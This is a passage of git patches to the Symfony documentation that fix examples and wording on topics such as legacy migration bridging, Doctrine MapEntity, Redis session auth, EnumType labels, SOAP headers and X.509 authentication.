@@ -94,6 +94,7 @@ Other Constraints
 * :doc:`Compound </reference/constraints/Compound>`
 * :doc:`Callback </reference/constraints/Callback>`
 * :doc:`Expression </reference/constraints/Expression>`
+* :doc:`When </reference/constraints/When>`
 * :doc:`All </reference/constraints/All>`
 * :doc:`Valid </reference/constraints/Valid>`
 * :doc:`Traverse </reference/constraints/Traverse>`

From 99eecb6442150ca249a9495e371e28cff051ddf8 Mon Sep 17 00:00:00 2001
From: Jeff Zohrab <jzohrab@gmail.com>
Date: Tue, 6 Dec 2022 11:29:02 -0600
Subject: [PATCH 2616/5766] Simplify migration LegacyBridge example

---
 migration.rst | 69 +++++++++++++++++++++++++++++++++++----------------
 1 file changed, 48 insertions(+), 21 deletions(-)

diff --git a/migration.rst b/migration.rst
index b22ab90d893..c101d8e4146 100644
--- a/migration.rst
+++ b/migration.rst
@@ -275,16 +275,13 @@ could look something like this::
     $request = Request::createFromGlobals();
     $response = $kernel->handle($request);
 
-    /*
-     * LegacyBridge will take care of figuring out whether to boot up the
-     * existing application or to send the Symfony response back to the client.
-     */
-    $scriptFile = LegacyBridge::prepareLegacyScript($request, $response, __DIR__);
-    if ($scriptFile !== null) {
-        require $scriptFile;
-    } else {
+    if (false === $response->isNotFound()) {
+        // Symfony successfully handled the route.
         $response->send();
+    } else {
+        LegacyBridge::handleRequest($request, $response, __DIR__);
     }
+
     $kernel->terminate($request, $response);
 
 There are 2 major deviations from the original file:
@@ -297,10 +294,9 @@ Line 18
   it over. For instance, by replacing outdated or redundant libraries with
   Symfony components.
 
-Line 41 - 50
-  Instead of sending the Symfony response directly, a ``LegacyBridge`` is
-  called to decide whether the legacy application should be booted and used to
-  create the response instead.
+Line 41 - 46
+  If Symfony handled the response, it is sent; otherwise, the ``LegacyBridge``
+  handles the request.
 
 This legacy bridge is responsible for figuring out which file should be loaded
 in order to process the old application logic. This can either be a front
@@ -316,19 +312,50 @@ somewhat like this::
 
     class LegacyBridge
     {
-        public static function prepareLegacyScript(Request $request, Response $response, string $publicDirectory): ?string
+
+        /**
+         * Map the incoming request to the right file. This is the
+         * key function of the LegacyBridge.
+         *
+         * Sample code only. Your implementation will vary, depending on the
+         * architecture of the legacy code and how it's executed.
+         *
+         * If your mapping is complicated, you may want to write unit tests
+         * to verify your logic, hence this is public static.
+         */
+        public static function getLegacyScript(Request $request): string
         {
-            // If Symfony successfully handled the route, you do not have to do anything.
-            if (false === $response->isNotFound()) {
-                return null;
+            $requestPathInfo = $request->getPathInfo();
+            $legacyRoot = __DIR__ . '/../';
+
+            // Map a route to a legacy script:
+            if ($requestPathInfo == '/customer/') {
+                return "{$legacyRoot}src/customers/list.php";
             }
 
-            // Figure out how to map to the needed script file
-            // from the existing application and possibly (re-)set
-            // some env vars.
-            $legacyScriptFilename = ...;
+            // Map a direct file call, e.g. an ajax call:
+            if ($requestPathInfo == 'inc/ajax_cust_details.php') {
+                return "{$legacyRoot}inc/ajax_cust_details.php";
+            }
+
+            // ... etc.
+
+            throw new \Exception("Unhandled legacy mapping for $requestPathInfo");
+        }
+
+
+        public static function handleRequest(Request $request, Response $response, string $publicDirectory): ?string
+        {
+            $legacyScriptFilename = LegacyBridge::getLegacyScript($request);
+
+            // Possibly (re-)set some env vars (e.g. to handle forms
+            // posting to PHP_SELF):
+            $p = $request->getPathInfo();
+            $_SERVER['PHP_SELF'] = $p;
+            $_SERVER['SCRIPT_NAME'] = $p;
+            $_SERVER['SCRIPT_FILENAME'] = $legacyScriptFilename;
 
-            return $legacyScriptFilename;
+            require $legacyScriptFilename;
         }
     }
 

From 5f625b4695094c5e3a9f3e925158ffe1a9a91cdd Mon Sep 17 00:00:00 2001
From: Robin Willig <robin@dragonito.net>
Date: Thu, 8 Dec 2022 22:39:13 +0100
Subject: [PATCH 2617/5766] [Workflow] Some minor text optimizations

---
 workflow.rst | 10 +++++-----
 1 file changed, 5 insertions(+), 5 deletions(-)

diff --git a/workflow.rst b/workflow.rst
index ef6193d02c0..389231ba91a 100644
--- a/workflow.rst
+++ b/workflow.rst
@@ -1,7 +1,7 @@
 Workflow
 ========
 
-Using the Workflow component inside a Symfony application requires to know first
+Using the Workflow component inside a Symfony application requires knowing first
 some basic theory and concepts about workflows and state machines.
 :doc:`Read this article </workflow/workflow-and-state-machine>` for a quick overview.
 
@@ -29,8 +29,8 @@ Creating a Workflow
 -------------------
 
 A workflow is a process or a lifecycle that your objects go through. Each
-step or stage in the process is called a *place*. You do also define *transitions*
-to that describes the action to get from one place to another.
+step or stage in the process is called a *place*. You also define *transitions*,
+which describe the action needed to get from one place to another.
 
 .. image:: /_images/components/workflow/states_transitions.png
 
@@ -39,8 +39,8 @@ a ``Definition`` and a way to write the states to the objects (i.e. an
 instance of a :class:`Symfony\\Component\\Workflow\\MarkingStore\\MarkingStoreInterface`.)
 
 Consider the following example for a blog post. A post can have these places:
-``draft``, ``reviewed``, ``rejected``, ``published``. You can define the workflow
-like this:
+``draft``, ``reviewed``, ``rejected``, ``published``. You could define the workflow as 
+follows:
 
 .. configuration-block::
 

From 3a35ff29c309a436fe3e06abff11bce7c231234e Mon Sep 17 00:00:00 2001
From: Matthieu Lempereur <matt.lempereur@gmail.com>
Date: Mon, 12 Dec 2022 09:46:44 +0100
Subject: [PATCH 2618/5766] validator - replace expressionLanguageSyntax with
 new expressionSyntax

---
 reference/constraints.rst         | 1 -
 reference/constraints/map.rst.inc | 2 +-
 2 files changed, 1 insertion(+), 2 deletions(-)

diff --git a/reference/constraints.rst b/reference/constraints.rst
index f3851bdb97a..4351081e630 100644
--- a/reference/constraints.rst
+++ b/reference/constraints.rst
@@ -14,7 +14,6 @@ Validation Constraints Reference
    constraints/Type
 
    constraints/Email
-   constraints/ExpressionLanguageSyntax (deprecated)
    constraints/ExpressionSyntax
    constraints/Length
    constraints/Url
diff --git a/reference/constraints/map.rst.inc b/reference/constraints/map.rst.inc
index 9f8eb4b8c3f..f3d75554cb5 100644
--- a/reference/constraints/map.rst.inc
+++ b/reference/constraints/map.rst.inc
@@ -16,7 +16,7 @@ String Constraints
 ~~~~~~~~~~~~~~~~~~
 
 * :doc:`Email </reference/constraints/Email>`
-* :doc:`ExpressionLanguageSyntax </reference/constraints/ExpressionLanguageSyntax>`
+* :doc:`ExpressionSyntax </reference/constraints/ExpressionSyntax>`
 * :doc:`Length </reference/constraints/Length>`
 * :doc:`Url </reference/constraints/Url>`
 * :doc:`Regex </reference/constraints/Regex>`

From 5ce20ac4ab33a5ae4c6c747ddb6e1a3d9f8a1ab7 Mon Sep 17 00:00:00 2001
From: alex00ds <31631959+alex00ds@users.noreply.github.com>
Date: Tue, 13 Dec 2022 06:22:16 +0200
Subject: [PATCH 2619/5766] Update doctrine.rst

An example of MapEntity Options "exclude" have a wrong paragraph formatting (this is : when :: is expected).
An example of MapEntity Options "mapping" contains a property is not synced with a placeholder (there is no 'date' in the route).
---
 doctrine.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index cd5806c4bbd..b75fdea7c87 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -768,7 +768,7 @@ control behavior:
 
         #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
         public function show(
-            #[MapEntity(mapping: ['date' => 'date', 'slug' => 'slug'])]
+            #[MapEntity(mapping: ['category' => 'category', 'slug' => 'slug'])]
             Product $product
             #[MapEntity(mapping: ['comment_slug' => 'slug'])]
             Comment $comment
@@ -777,7 +777,7 @@ control behavior:
 
 ``exclude``
     Configures the properties that should be used in the ``findOneBy()``
-    method by *excluding* one or more properties so that not *all* are used:
+    method by *excluding* one or more properties so that not *all* are used::
 
         #[Route('/product/{slug}/{date}')]
         public function show(

From 700ae4a161669531c9fbe0a02acbc8a2371f3b99 Mon Sep 17 00:00:00 2001
From: Fernando Aguirre <ing.aguirrel@gmail.com>
Date: Mon, 21 Nov 2022 19:28:10 -0700
Subject: [PATCH 2620/5766] Update database.rst

When Redis has user and password to login, the data must be entered as an array ['user', 'password'], added as comment
---
 session/database.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/session/database.rst b/session/database.rst
index ba4642b7973..da2b6b070e1 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -50,6 +50,10 @@ First, define a Symfony service for the connection to the Redis server:
                     # uncomment the following if your Redis server requires a password
                     # - auth:
                     #     - '%env(REDIS_PASSWORD)%'
+                    
+                    # uncomment the following if your Redis server requires user and password (When user is not default)
+                    # - auth:
+                    #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
 
     .. code-block:: xml
 

From f1c80b83722d5ac6a6c5e5fa81ecf6a3840a5bec Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Dec 2022 16:26:52 +0100
Subject: [PATCH 2621/5766] Add the examples for XML and PHP config

---
 session/database.rst | 10 +++++++++-
 1 file changed, 9 insertions(+), 1 deletion(-)

diff --git a/session/database.rst b/session/database.rst
index da2b6b070e1..de4d5213b81 100644
--- a/session/database.rst
+++ b/session/database.rst
@@ -51,7 +51,7 @@ First, define a Symfony service for the connection to the Redis server:
                     # - auth:
                     #     - '%env(REDIS_PASSWORD)%'
                     
-                    # uncomment the following if your Redis server requires user and password (When user is not default)
+                    # uncomment the following if your Redis server requires a user and a password (when user is not default)
                     # - auth:
                     #     - ['%env(REDIS_USER)%','%env(REDIS_PASSWORD)%']
 
@@ -74,6 +74,12 @@ First, define a Symfony service for the connection to the Redis server:
                     <call method="auth">
                         <argument>%env(REDIS_PASSWORD)%</argument>
                     </call> -->
+
+                    <!-- uncomment the following if your Redis server requires a user and a password (when user is not default):
+                    <call method="auth">
+                        <argument>%env(REDIS_USER)%</argument>
+                        <argument>%env(REDIS_PASSWORD)%</argument>
+                    </call> -->
                 </service>
             </services>
         </container>
@@ -87,6 +93,8 @@ First, define a Symfony service for the connection to the Redis server:
             ->addMethodCall('connect', ['%env(REDIS_HOST)%', '%env(int:REDIS_PORT)%'])
             // uncomment the following if your Redis server requires a password:
             // ->addMethodCall('auth', ['%env(REDIS_PASSWORD)%'])
+            // uncomment the following if your Redis server requires a user and a password (when user is not default):
+            // ->addMethodCall('auth', ['%env(REDIS_USER)%', '%env(REDIS_PASSWORD)%'])
         ;
 
 Now pass this ``\Redis`` connection as an argument of the service associated to the

From 65ece3e01e66e5231ae933b9d01a5e55b482ed16 Mon Sep 17 00:00:00 2001
From: Robin Brisa <robin.brisa@gmail.com>
Date: Wed, 10 Aug 2022 17:58:02 +0200
Subject: [PATCH 2622/5766] [Form] Example of customizing EnumType labels

Default behavior when creating a EnumType form element is that the choice labels displayed to the user are the enum names.

This PR adds an example of how to use a function inside an enum to return labels and how to bind this function to the form element.
---
 reference/forms/types/enum.rst | 34 ++++++++++++++++++++++++++++++++++
 1 file changed, 34 insertions(+)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index b2e960a21ec..4c9d3eeb8a5 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -56,6 +56,40 @@ This will display a ``<select>`` tag with the three possible values defined in
 the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
 these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
+Since the label displayed in the ``<select>`` options is the enum name, you might sometimes
+want more flexibility as PHP strongly restricts the usable characters for those.
+You could do this by implementing a function in your enum class which returns a label 
+or even a translation string for each possible enum::
+
+    // src/Config/TextAlign.php
+    namespace App\Config;
+
+    enum TextAlign: string
+    {
+        case Left = 'Left/Start aligned';
+        case Center = 'Center/Middle aligned';
+        case Right = 'Right/End aligned';
+        
+        public function label(): string
+        {
+            return match ($this) {
+                self::Left => 'text_align.left.label',
+                self::Center => 'text_align.center.label',
+                self::Right  => 'text_align.right.label',
+            };
+        }
+    }
+    
+You can then use the ``choice_label`` option of ``EnumType`` with a function that 
+returns the label::
+
+    ->add('textAlign', EnumType::class, [
+        'class' => TextAlign::class,
+        'choice_label' => static function (TextAlign $choice): string {
+            return $choice->label();
+        },
+    ])
+
 Field Options
 -------------
 

From c4de9761638cb441c025f1164d59856b6fe7be93 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Tue, 13 Dec 2022 17:29:38 +0100
Subject: [PATCH 2623/5766] Reword

---
 reference/forms/types/enum.rst | 44 ++++++++++------------------------
 1 file changed, 12 insertions(+), 32 deletions(-)

diff --git a/reference/forms/types/enum.rst b/reference/forms/types/enum.rst
index 4c9d3eeb8a5..2fa79d37a22 100644
--- a/reference/forms/types/enum.rst
+++ b/reference/forms/types/enum.rst
@@ -38,9 +38,9 @@ short) defined somewhere in your application. This enum has to be of type
 
     enum TextAlign: string
     {
-        case Left = 'Left/Start aligned';
-        case Center = 'Center/Middle aligned';
-        case Right = 'Right/End aligned';
+        case Left = 'Left aligned';
+        case Center = 'Center aligned';
+        case Right = 'Right aligned';
     }
 
 Instead of using the values of the enumeration in a ``choices`` option, the
@@ -56,39 +56,19 @@ This will display a ``<select>`` tag with the three possible values defined in
 the ``TextAlign`` enum. Use the `expanded`_ and `multiple`_ options to display
 these values as ``<input type="checkbox">`` or ``<input type="radio">``.
 
-Since the label displayed in the ``<select>`` options is the enum name, you might sometimes
-want more flexibility as PHP strongly restricts the usable characters for those.
-You could do this by implementing a function in your enum class which returns a label 
-or even a translation string for each possible enum::
-
-    // src/Config/TextAlign.php
-    namespace App\Config;
-
-    enum TextAlign: string
-    {
-        case Left = 'Left/Start aligned';
-        case Center = 'Center/Middle aligned';
-        case Right = 'Right/End aligned';
-        
-        public function label(): string
-        {
-            return match ($this) {
-                self::Left => 'text_align.left.label',
-                self::Center => 'text_align.center.label',
-                self::Right  => 'text_align.right.label',
-            };
-        }
-    }
-    
-You can then use the ``choice_label`` option of ``EnumType`` with a function that 
-returns the label::
+The label displayed in the ``<option>`` elements of the ``<select>`` is the enum
+name. PHP defines some strict rules for these names (e.g. they can't contain
+dots or spaces). If you need more flexibility for these labels, use the
+``choice_label`` option and define a function that returns the custom label::
 
     ->add('textAlign', EnumType::class, [
         'class' => TextAlign::class,
-        'choice_label' => static function (TextAlign $choice): string {
-            return $choice->label();
+        'choice_label' => match ($choice) {
+            TextAlign::Left => 'text_align.left.label',
+            TextAlign::Center => 'text_align.center.label',
+            TextAlign::Right  => 'text_align.right.label',
         },
-    ])
+    ]);
 
 Field Options
 -------------

From 02fc6fdde26598280ca0c5b0fdcef84984b1e8b9 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 14 Dec 2022 15:11:56 +0100
Subject: [PATCH 2624/5766] Symfony CLI: fix config directory path

---
 frontend/encore/dev-server.rst | 2 +-
 setup/symfony_server.rst       | 2 +-
 2 files changed, 2 insertions(+), 2 deletions(-)

diff --git a/frontend/encore/dev-server.rst b/frontend/encore/dev-server.rst
index 6337a881471..52a4fa83b05 100644
--- a/frontend/encore/dev-server.rst
+++ b/frontend/encore/dev-server.rst
@@ -79,7 +79,7 @@ server SSL certificate:
     +         options.server = {
     +             type: 'https',
     +             options: {
-    +                 pfx: path.join(process.env.HOME, '.symfony/certs/default.p12'),
+    +                 pfx: path.join(process.env.HOME, '.symfony5/certs/default.p12'),
     +             }
     +         }
     +     })
diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b9cdb4c2850..38244ca9c31 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -254,7 +254,7 @@ domains work:
 
 .. tip::
 
-    If you prefer to use a different TLD, edit the ``~/.symfony/proxy.json``
+    If you prefer to use a different TLD, edit the ``~/.symfony5/proxy.json``
     file (where ``~`` means the path to your user directory) and change the
     value of the ``tld`` option from ``wip`` to any other TLD.
 

From 2c49be3705fe3681ae774a54f670ca3c97be6a97 Mon Sep 17 00:00:00 2001
From: jmsche <contact@jmsche.fr>
Date: Wed, 14 Dec 2022 15:21:07 +0100
Subject: [PATCH 2625/5766] Symfony CLI: add wildcard local domain information

---
 setup/symfony_server.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/setup/symfony_server.rst b/setup/symfony_server.rst
index b9cdb4c2850..d9a6de22930 100644
--- a/setup/symfony_server.rst
+++ b/setup/symfony_server.rst
@@ -232,6 +232,14 @@ new custom domain.
     Browse the http://127.0.0.1:7080 URL to get the full list of local project
     directories, their custom domains, and port numbers.
 
+You can also add a wildcard domain:
+
+.. code-block:: terminal
+
+    $ symfony proxy:domain:attach "*.my-domain"
+
+So it will match all subdomains like ``https://admin.my-domain.wip``, ``https://other.my-domain.wip``...
+
 When running console commands, add the ``https_proxy`` env var to make custom
 domains work:
 

From 771dac342f098ed08e9b7abe0b4bdb5b73378c64 Mon Sep 17 00:00:00 2001
From: kez <kerrialbeckettnewham@gmail.com>
Date: Wed, 14 Dec 2022 18:47:20 +0100
Subject: [PATCH 2626/5766] Fix/bootstrap turbo docs

---
 frontend/encore/bootstrap.rst | 19 +++++++++++++++++++
 1 file changed, 19 insertions(+)

diff --git a/frontend/encore/bootstrap.rst b/frontend/encore/bootstrap.rst
index a41475d8eec..561bef79dde 100644
--- a/frontend/encore/bootstrap.rst
+++ b/frontend/encore/bootstrap.rst
@@ -73,6 +73,25 @@ Now, require bootstrap from any of your JavaScript files:
         $('[data-toggle="popover"]').popover();
     });
 
+Using Bootstrap with Turbo
+---------------------------
+
+If you are using bootstrap with Turbo Drive, to allow your JavaScript to load on each page change,
+wrap the initialization in a ``turbo:load`` event listener:
+
+.. code-block:: javascript
+
+    // app.js
+
+    // this waits for Turbo Drive to load
+    document.addEventListener('turbo:load', function (e) {
+        // this enables bootstrap tooltips globally
+        let tooltipTriggerList = [].slice.call(document.querySelectorAll('[data-bs-toggle="tooltip"]'))
+        let tooltipList = tooltipTriggerList.map(function (tooltipTriggerEl) {
+            return new Tooltip(tooltipTriggerEl)
+        });
+    });
+
 Using other Bootstrap / jQuery Plugins
 --------------------------------------
 

From c7ef41e177e090902f2e8b4bc66ba176d4449196 Mon Sep 17 00:00:00 2001
From: Yohann Tilotti <contact@yneet.com>
Date: Thu, 15 Dec 2022 13:48:15 +0100
Subject: [PATCH 2627/5766] [Doctrine] Errors on EntityValueResolver exemple

---
 doctrine.rst | 9 ++++-----
 1 file changed, 4 insertions(+), 5 deletions(-)

diff --git a/doctrine.rst b/doctrine.rst
index b75fdea7c87..4f4c7fbc98b 100644
--- a/doctrine.rst
+++ b/doctrine.rst
@@ -733,7 +733,7 @@ This can also be used to help resolve multiple arguments::
 
     #[Route('/product/{id}/comments/{comment_id}')]
     public function show(
-        Product $product
+        Product $product,
         #[MapEntity(expr: 'repository.find(comment_id)')]
         Comment $comment
     ): Response {
@@ -755,9 +755,8 @@ control behavior:
 
         #[Route('/product/{product_id}')]
         public function show(
-            Product $product
             #[MapEntity(id: 'product_id')]
-            Comment $comment
+            Product $product
         ): Response {
         }
 
@@ -769,7 +768,7 @@ control behavior:
         #[Route('/product/{category}/{slug}/comments/{comment_slug}')]
         public function show(
             #[MapEntity(mapping: ['category' => 'category', 'slug' => 'slug'])]
-            Product $product
+            Product $product,
             #[MapEntity(mapping: ['comment_slug' => 'slug'])]
             Comment $comment
         ): Response {
@@ -782,7 +781,7 @@ control behavior:
         #[Route('/product/{slug}/{date}')]
         public function show(
             #[MapEntity(exclude: ['date'])]
-            Product $product
+            Product $product,
             \DateTime $date
         ): Response {
         }

From 15537d46957598a269622bf264cbd4005ea48216 Mon Sep 17 00:00:00 2001
From: Yohann Tilotti <contact@yneet.com>
Date: Fri, 16 Dec 2022 15:48:54 +0100
Subject: [PATCH 2628/5766] [Controller] Errors on namespace value_resolver

---
 controller/value_resolver.rst | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/controller/value_resolver.rst b/controller/value_resolver.rst
index a8c01407368..33ad4671ca7 100644
--- a/controller/value_resolver.rst
+++ b/controller/value_resolver.rst
@@ -292,7 +292,7 @@ and adding a priority:
                 autowire: true
             # ...
 
-            App\ArgumentResolver\BookingIdValueResolver:
+            App\ValueResolver\BookingIdValueResolver:
                 tags:
                     - { name: controller.argument_value_resolver, priority: 150 }
 
@@ -310,7 +310,7 @@ and adding a priority:
                 <defaults autowire="true"/>
                 <!-- ... -->
 
-                <service id="App\ArgumentResolver\BookingIdValueResolver">
+                <service id="App\ValueResolver\BookingIdValueResolver">
                     <tag name="controller.argument_value_resolver" priority="150"/>
                 </service>
             </services>
@@ -322,7 +322,7 @@ and adding a priority:
         // config/services.php
         namespace Symfony\Component\DependencyInjection\Loader\Configurator;
 
-        use App\ArgumentResolver\BookingIdValueResolver;
+        use App\ValueResolver\BookingIdValueResolver;
 
         return static function (ContainerConfigurator $container) {
             $services = $configurator->services();

From 1ddc77ae5d1825646ffeaa184a5246ed517c06c6 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 13:46:04 +0100
Subject: [PATCH 2629/5766] [VarDumper] Add support of named arguments to dd()
 and dump()

---
 templates.rst | 8 ++++++++
 1 file changed, 8 insertions(+)

diff --git a/templates.rst b/templates.rst
index 88e8f50b0a5..86bade24a70 100644
--- a/templates.rst
+++ b/templates.rst
@@ -728,11 +728,19 @@ depending on your needs:
            and they are visible on the web page #}
         {{ dump(article) }}
 
+        {# optionally, use named arguments to display them as labels next to
+           the dumped contents #}
+        {{ dump(blog_posts: articles, user: app.user) }}
+
         <a href="/article/{{ article.slug }}">
             {{ article.title }}
         </a>
     {% endfor %}
 
+.. versionadded:: 6.3
+
+    The option to use named arguments in ``dump()`` was introduced in Symfony 6.3.
+
 To avoid leaking sensitive information, the ``dump()`` function/tag is only
 available in the ``dev`` and ``test`` :ref:`configuration environments <configuration-environments>`.
 If you try to use it in the ``prod`` environment, you will see a PHP error.

From 576df8523d87f8e5b3b6441e0957f1921a3c67f0 Mon Sep 17 00:00:00 2001
From: micter59 <micter2@free.fr>
Date: Thu, 15 Dec 2022 12:38:21 +0100
Subject: [PATCH 2630/5766] Update routing.rst

---
 routing.rst | 7 +++++++
 1 file changed, 7 insertions(+)

diff --git a/routing.rst b/routing.rst
index 9c07a7c66ec..91717399fd7 100644
--- a/routing.rst
+++ b/routing.rst
@@ -304,6 +304,13 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
     ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT">``).
     If you create your forms with :doc:`Symfony Forms </forms>` this is done
     automatically for you.
+    Also note that ```framework.http_method_override``` needs to be set for this to work :
+    
+    .. code-block:: yaml
+    
+        # config/packages/framework.yaml
+        framework:
+            http_method_override: true
 
 .. _routing-matching-expressions:
 

From f9aaa152ae1d46bed50e73d829826aba827f0d53 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 16 Dec 2022 16:27:22 +0100
Subject: [PATCH 2631/5766] Tweak

---
 routing.rst | 10 ++--------
 1 file changed, 2 insertions(+), 8 deletions(-)

diff --git a/routing.rst b/routing.rst
index 91717399fd7..e65e7dde27f 100644
--- a/routing.rst
+++ b/routing.rst
@@ -303,14 +303,8 @@ Use the ``methods`` option to restrict the verbs each route should respond to:
     route with a different method from an HTML form, add a hidden field called
     ``_method`` with the method to use (e.g. ``<input type="hidden" name="_method" value="PUT">``).
     If you create your forms with :doc:`Symfony Forms </forms>` this is done
-    automatically for you.
-    Also note that ```framework.http_method_override``` needs to be set for this to work :
-    
-    .. code-block:: yaml
-    
-        # config/packages/framework.yaml
-        framework:
-            http_method_override: true
+    automatically for you when the :ref:`framework.http_method_override <configuration-framework-http_method_override>`
+    option is ``true``.
 
 .. _routing-matching-expressions:
 

From 4717f04a3ff618ed480ad199fb8af38531096454 Mon Sep 17 00:00:00 2001
From: Warnar Boekkooi <warnar@boekkooi.net>
Date: Thu, 9 Jun 2022 16:19:13 +0200
Subject: [PATCH 2632/5766] Use SoapServer headers

While debugging the istio error `Error dispatching received data: http/1.1 protocol error: HPE_UNEXPECTED_CONTENT_LENGTH` we noticed that the error was [triggered](https://github.com/nodejs/http-parser/blob/e13b274/http_parser.c#L1442) because of a duplicated Content-Length headers being send by the PHP application.
After review we noticed that the header was send by both the SoapServer and the Symfony Response for this reason I decided to open this PR.
---
 controller/soap_web_service.rst | 24 ++++++++++++++++--------
 1 file changed, 16 insertions(+), 8 deletions(-)

diff --git a/controller/soap_web_service.rst b/controller/soap_web_service.rst
index 43224116704..a1d1cbeed34 100644
--- a/controller/soap_web_service.rst
+++ b/controller/soap_web_service.rst
@@ -66,24 +66,30 @@ can be retrieved via ``/soap?wsdl``::
 
     use App\Service\HelloService;
     use Symfony\Bundle\FrameworkBundle\Controller\AbstractController;
+    use Symfony\Component\HttpFoundation\Request;
     use Symfony\Component\HttpFoundation\Response;
     use Symfony\Component\Routing\Annotation\Route;
 
     class HelloServiceController extends AbstractController
     {
         #[Route('/soap')]
-        public function index(HelloService $helloService)
+        public function index(HelloService $helloService, Request $request)
         {
             $soapServer = new \SoapServer('/path/to/hello.wsdl');
             $soapServer->setObject($helloService);
 
             $response = new Response();
-            $response->headers->set('Content-Type', 'text/xml; charset=ISO-8859-1');
 
             ob_start();
-            $soapServer->handle();
+            $soapServer->handle($request->getContent());
             $response->setContent(ob_get_clean());
 
+            foreach (headers_list() as $header) {
+                $header = explode(':', $header, 2);
+                $response->headers->set($header[0], $header[1]);
+            }
+            header_remove();
+
             return $response;
         }
     }
@@ -92,11 +98,13 @@ Take note of the calls to ``ob_start()`` and ``ob_get_clean()``. These
 methods control `output buffering`_ which allows you to "trap" the echoed
 output of ``$server->handle()``. This is necessary because Symfony expects
 your controller to return a ``Response`` object with the output as its "content".
-You must also remember to set the ``"Content-Type"`` header to ``"text/xml"``, as
-this is what the client will expect. So, you use ``ob_start()`` to start
-buffering the STDOUT and use ``ob_get_clean()`` to dump the echoed output
-into the content of the Response and clear the output buffer. Finally, you're
-ready to return the ``Response``.
+So, you use ``ob_start()`` to start buffering the STDOUT and use
+``ob_get_clean()`` to dump the echoed output into the content of the Response
+and clear the output buffer. Since ``$server->handle()`` can set headers it is
+also necessary to "trap" these. For this we use ``headers_list`` which provides
+the set headers, these are then parsed and added into the Response after which
+``header_remove`` is used to remove the headers and to avoid duplicates.
+Finally, you're ready to return the ``Response``.
 
 Below is an example of calling the service using a native `SoapClient`_ client. This example
 assumes that the ``index()`` method in the controller above is accessible via

From 405a74060b82e5b9293c8908ca2916bde7973965 Mon Sep 17 00:00:00 2001
From: Florent Morselli <florent.morselli@spomky-labs.com>
Date: Sun, 18 Dec 2022 11:17:58 +0100
Subject: [PATCH 2633/5766] ``user_identifier`` parameter documentation

---
 reference/configuration/security.rst | 16 +++++++++++++++-
 security.rst                         |  8 ++++----
 2 files changed, 19 insertions(+), 5 deletions(-)

diff --git a/reference/configuration/security.rst b/reference/configuration/security.rst
index 4d0f1549ede..ba0eba9a5f2 100644
--- a/reference/configuration/security.rst
+++ b/reference/configuration/security.rst
@@ -666,6 +666,7 @@ X.509 Authentication
                         provider:    your_user_provider
                         user:        SSL_CLIENT_S_DN_Email
                         credentials: SSL_CLIENT_S_DN
+                        user_identifier: emailAddress
 
     .. code-block:: xml
 
@@ -687,6 +688,7 @@ X.509 Authentication
                     <x509 provider="your_user_provider"
                         user="SSL_CLIENT_S_DN_Email"
                         credentials="SSL_CLIENT_S_DN"
+                        user_identifier="emailAddress"
                     />
                 </firewall>
             </config>
@@ -703,6 +705,7 @@ X.509 Authentication
                 ->provider('your_user_provider')
                 ->user('SSL_CLIENT_S_DN_Email')
                 ->credentials('SSL_CLIENT_S_DN')
+                ->user_identifier('emailAddress')
             ;
         };
 
@@ -723,7 +726,18 @@ If the ``user`` parameter is not available, the name of the ``$_SERVER``
 parameter containing the full "distinguished name" of the certificate
 (exposed by e.g. Nginx).
 
-Symfony identifies the value following ``emailAddress=`` in this parameter.
+By default, Symfony identifies the value following ``emailAddress=`` in this parameter.
+This can be changed using the ``user_identifier`` parameter.
+
+user_identifier
+...........
+
+**type**: ``string`` **default**: ``emailAddress``
+
+The ``user_identifier`` parameter is used to find the user identifier in the
+"distinguished name" e.g. ``Subject: C=FR, O=My Organization, CN=user1, emailAddress=user1@myorg.fr``.
+
+By setting this parameter to ``CN``, the returned user identifier will be the "Common Name" ``user1``
 
 .. _reference-security-firewall-remote-user:
 
diff --git a/security.rst b/security.rst
index d8fb76b7db2..70219bd4246 100644
--- a/security.rst
+++ b/security.rst
@@ -1314,11 +1314,11 @@ ways:
 #. First, it tries the ``SSL_CLIENT_S_DN_Email`` server parameter, which is
    exposed by Apache;
 #. If it is not set (e.g. when using Nginx), it uses ``SSL_CLIENT_S_DN`` and
-   matches the value following ``emailAddress=``.
+   matches the value following ``emailAddress``.
 
-You can customize the name of both parameters under the ``x509`` key. See
-:ref:`the configuration reference <reference-security-firewall-x509>` for
-more details.
+You can customize the name of the three parameters under the ``x509`` key.
+See :ref:`the configuration reference <reference-security-firewall-x509>`
+for more details.
 
 Remote Users
 ~~~~~~~~~~~~

From 836a9739faef1f5d67e9ad23be4f68edb0767347 Mon Sep 17 00:00:00 2001
From: Pooyan Khanjankhani <p.khanjankhani@digikala.com>
Date: Fri, 16 Dec 2022 22:31:17 +0330
Subject: [PATCH 2634/5766] chore: Add missing semicolon

---
 components/dependency_injection.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/components/dependency_injection.rst b/components/dependency_injection.rst
index c1b5d454ba1..c2239a9225b 100644
--- a/components/dependency_injection.rst
+++ b/components/dependency_injection.rst
@@ -300,6 +300,7 @@ config files:
             $services = $container->services();
             $services->set('mailer', 'Mailer')
                 ->args(['%mailer.transport%'])
